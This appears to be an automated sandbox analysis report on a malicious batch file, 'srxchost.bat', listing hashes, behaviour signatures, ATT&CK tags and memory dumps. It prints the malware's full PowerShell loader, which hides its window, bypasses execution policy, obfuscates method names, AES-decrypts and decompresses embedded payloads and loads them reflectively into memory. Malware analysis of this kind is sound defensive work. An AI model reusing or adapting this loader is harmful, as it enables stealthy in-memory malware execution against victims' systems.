ed5c3877ddaab5b23fdd42addd28fcf9237e0e229de0dcf66b541f0edfbf7586

Analysis

max time kernel
117s
max time network
117s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
06-06-2024 12:10

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General

Target

srxchost.bat
Size

513KB
MD5

e43692fcd393276b26aa7acb8b82b201
SHA1

b9bab6dfd7f592350b8f737bf8b80f0834e1e75d
SHA256

ed5c3877ddaab5b23fdd42addd28fcf9237e0e229de0dcf66b541f0edfbf7586
SHA512

7113b118aeb5c298e2ea3c67fe6ea4278a368d049cc4eb0ee9e434848cfc2e121988d1ed1b5bb5db3f60f790d13f8ecfb46738fbd27ccd18d2c7c7e0cbe0e878
SSDEEP

12288:cttsUZ2U00BrdEGDAtteOXYG4G/3oIPfi/EkchXo4eDCmX1nsemd:chZGceGSYG48YCi/SDkCZ

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2972 powershell.exe
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

2972 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2972 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2972 powershell.exe

pid	process
2972	powershell.exe

pid	process
2972	powershell.exe

pid	process
2972	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2972	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2872 wrote to memory of 2972	2872	cmd.exe	powershell.exe
PID 2872 wrote to memory of 2972	2872	cmd.exe	powershell.exe
PID 2872 wrote to memory of 2972	2872	cmd.exe	powershell.exe
PID 2872 wrote to memory of 2972	2872	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\srxchost.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2872

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5Nvu+G01sFnXRXn1/8RSe8OSM157MGNeaBpKNgvlQmQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('q262uBdA7zGN7tlMMJMsbg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $tinWu=New-Object System.IO.MemoryStream(,$param_var); $HjYKp=New-Object System.IO.MemoryStream; $OrNaX=New-Object System.IO.Compression.GZipStream($tinWu, [IO.Compression.CompressionMode]::Decompress); $OrNaX.CopyTo($HjYKp); $OrNaX.Dispose(); $tinWu.Dispose(); $HjYKp.Dispose(); $HjYKp.ToArray();}function execute_function($param_var,$param2_var){ $ybaOv=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $kgrmV=$ybaOv.EntryPoint; $kgrmV.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\srxchost.bat';$SrAwi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\srxchost.bat').Split([Environment]::NewLine);foreach ($nlhHU in $SrAwi) { if ($nlhHU.StartsWith(':: ')) { $MHhAE=$nlhHU.Substring(3); break; }}$payloads_var=[string[]]$MHhAE.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2972

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2972-2-0x0000000074151000-0x0000000074152000-memory.dmp

Filesize
4KB

Download
memory/2972-4-0x0000000074150000-0x00000000746FB000-memory.dmp

Filesize
5.7MB

Download
memory/2972-3-0x0000000074150000-0x00000000746FB000-memory.dmp

Filesize
5.7MB

Download
memory/2972-5-0x0000000074150000-0x00000000746FB000-memory.dmp

Filesize
5.7MB

Download